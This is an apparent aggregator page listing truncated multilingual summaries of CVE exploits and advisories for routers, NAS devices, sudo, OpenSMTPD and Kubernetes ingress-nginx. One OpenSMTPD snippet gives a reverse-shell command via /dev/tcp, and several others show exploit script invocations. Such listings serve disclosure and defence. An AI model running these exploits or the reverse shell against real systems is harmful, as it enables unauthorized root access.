CVE-2024-57376

CVE-2024-57376 Exploit de ejecución remota de código sin autenticación para D-Link DSR-250 y DSR-250N Aviso de seguridad: https://supportannouncement.us.dlink.com/security/publication.aspx?name=SAP10415 Uso root@kitploit: $ python3 exploit.py usage: Ejemplo root@kitploit: $ python3 exploit.py...

CVE-2019-19268

CVE-2019-19268 受影响版本：rConfig 3.9.2。 描述 由于配置错误，rConfig v3.9.2 中存在多个攻击向量，允许本地用户通过 sudo 执行 root 命令。 发现者 dmw0ng - Discord: dmw0ng4449 TheCyberGeek - Discord: TheCyberGeek1892 电子邮件: [email protected] rConfig 3.9.2 的 sudo 配置让 apache 用户可以以 root 身份执行 /usr/bin/zip、/bin/chmod 和 /usr/bin/tail 程序。结合...

CVE-2024-27130

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 我们要求所有被恐怖组织哈马斯劫持为人质的公民安全返回。在所有的人质获释并安全回家之前，我们决不罢休。您可以帮助他们回到家乡。https://stories.bringthemhomenow.net/ QNAP QTS CVE-2024-27130 PoC 🔒 本仓库包含一个针对 CVE-2024-27130 的验证性攻击脚本 PoC，该漏洞影响 QNAP QTS。此漏洞允许攻击者以 root 权限执行任意命令。 ⚠️ 描述 🔎 该脚本利用 QNAP QTS 中的一个漏洞，使攻击者能够以 root...

Grandstream UCM6200 - SQL Injection

Grandstream UCM6200 series contains an unauthenticated remote SQL injection caused by crafted HTTP requests, letting attackers execute shell commands as root on versions before 1.0.19.20 or inject HTML in emails before 1.0.20.17. id: CVE-2020-5722 info: name: Grandstream UCM6200 - SQL Injection...

Klog Server <=2.41 - Unauthenticated Command Injection

Klog Server 2.4.1 and prior is susceptible to an unauthenticated command injection vulnerability. The authenticate.php file uses the user HTTP POST parameter in a call to the shellexec PHP function without appropriate input validation, allowing arbitrary command execution as the apache user. The...

CVE-2020-7247

CVE-2020-7247 该漏洞存在于OpenBSD的邮件服务器OpenSMTPD的“smtpmailaddr”函数中，影响OpenBSD 6.6版本。攻击者可利用该漏洞以root用户身份执行任意shell命令，例如“sleep 66”。 如何使用？ python3 getShell.py 如果需要反弹shell，可以这样运行： python3 getShell.py 'bash -c "exec bash -i & /dev/tcp/IP/PORT &1"' 重要提示 根据实际情况修改此利用脚本中的某些内容，如RCPT to等（如有需要）。 更多详细解释请参阅这篇文章：...

CVE-2019-14287-write-up

CVE-2019-14287 漏洞利用说明 4294967295 Sudo 漏洞允许受限用户以 root 身份运行命令 漏洞演示 添加新用户： sudo su - root useradd -m -s /bin/bash testuser passwd testuser // 为用户添加密码 visudo 添加新条目 test ALL=ALL, !root /usr/bin/id // 指定此用户不能使用 root 用户执行 id 命令 保存文件并退出 root 用户 登录到测试用户 sudo su - test 执行命令 sudo id 您将看到消息：Sorry, user test ...

CVE-2023-51073

CVE-2023-51073 - Buffalo LS210D バージョン 1.78-0.03 におけるファームウェア更新サーバー検証の脆弱性 Christopher J. Pace および Ryan Miller Buffalo LS210D は、中小企業や個人向けに設計・販売されているネットワークアタッチドストレージ（NAS）サーバーです。LS210D には、ファームウェア更新をリモートでダウンロードしてインストールする機能が搭載されています。LS210D は、この機能において「中間者攻撃（Adversary in the...

CVE-2025-1974-PoC-exploit

CVE-2025-1974-PoC-exploit Kubernetes Ingress-nginx RCE IngressNightmare root@kitploit: ❯ python3 exploit.py http://localhost:8443 "id" ============================================================ CVE-2025-1974 - IngressNightmare Exploit ============================================================...

CVE-2026-73768 Local Privilege Escalation in AOS-CX Command Line Interface

A vulnerability exists in the command line interface of AOS-CX that may allow for improper processing of malformed input. Successful exploitation could result in the execution of arbitrary commands with root privileges...

CVE-2026-73719

An arbitrary file write vulnerability exists in the API of HPE Networking Fabric Composer and could allow an authenticated administrative user to escalate privileges. Successful exploitation of this vulnerability may enable the attacker to execute arbitrary system commands with root privileges on...

EUVD-2026-69446

An arbitrary file write vulnerability exists in the API of HPE Networking Fabric Composer and could allow an authenticated administrative user to escalate privileges. Successful exploitation of this vulnerability may enable the attacker to execute arbitrary system commands with root privileges on...

the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt

CVE-2026-71960 — Segreto JWT hard-coded nel broker MQTT del mesh Cudy WR3000 2.0 Strumenti PoC per l'articolo Hunt-Benito "The Same Key Opens Every Box: CVE-2026-71960 — Hard-coded JWT Secret in Cudy's WR3000 Mesh MQTT Broker"...

CVE-2026-74232 Zbtlink MQWrt yunmgrd Cloud C2 Implant

Zbtlink L3V28 firmware 3.0.0.4.528, Zbtlink WE826-T2 firmware 19.1101, Zbtlink ZBT-7628 firmware 1.0.0.2.007, Zbtlink ZBT-ZBT7621 firmware 1.0.0.3.001, MoreQuick MQAC-7620, MQAC-7620A, MQAP-7620, MQAP-7620A, and MQAP-7628 firmware 1.0.0.2.000, AP522 firmware 1.0.0.2.014, AP7628 and HC5661A firmwa...

EUVD-2026-66999

Zbtlink L3V28 firmware 3.0.0.4.528, Zbtlink WE826-T2 firmware 19.1101, Zbtlink ZBT-7628 firmware 1.0.0.2.007, Zbtlink ZBT-ZBT7621 firmware 1.0.0.3.001, MoreQuick MQAC-7620, MQAC-7620A, MQAP-7620, MQAP-7620A, and MQAP-7628 firmware 1.0.0.2.000, AP522 firmware 1.0.0.2.014, AP7628 and HC5661A firmwa...

CVE-2026-74232

Multiple Zbtlink , MoreQuick , and other router/AP models (e.g., AP522, AP7628, HC5661A, APG721B, HK300, MAP-N10) ship a backdoor C2 implant (yunmgrd) reachable over an unauthenticated cleartext UDP channel to a hardcoded C2 server . A remote unauthenticated attacker on the network path can hijac...

VulnCheck KEV: CVE-2026-74232

Zbtlink L3V28 firmware 3.0.0.4.528, Zbtlink WE826-T2 firmware 19.1101, Zbtlink ZBT-7628 firmware 1.0.0.2.007, Zbtlink ZBT-ZBT7621 firmware 1.0.0.3.001, MoreQuick MQAC-7620, MQAC-7620A, MQAP-7620, MQAP-7620A, and MQAP-7628 firmware 1.0.0.2.000, AP522 firmware 1.0.0.2.014, AP7628 and HC5661A firmwa...

CVE-2026-48750

A flaw was found in Incus, a container and virtual machine manager. A crafted container image can cause the host to write files to arbitrary locations via a symlink, potentially leading to command execution as root on the host. Mitigation No mitigation is needed as Incus is not shipped in any Red...

CVE-2026-71943 DrayTek VigorSwitch Multiple Models OS Command Injection via setDevNet

Multiple DrayTek VigorSwitch models contain a command injection vulnerability in the setDevNet function. The vulnerability is caused by insufficient filtering of the username and password fields before command execution. A remote attacker can trigger this vulnerability via crafted input to execut...

EUVD-2026-64989

Multiple DrayTek VigorSwitch models contain a command injection vulnerability in the setTime function. The vulnerability is caused by insufficient filtering of the username and password fields before command execution. A remote attacker can trigger this vulnerability via crafted input to execute...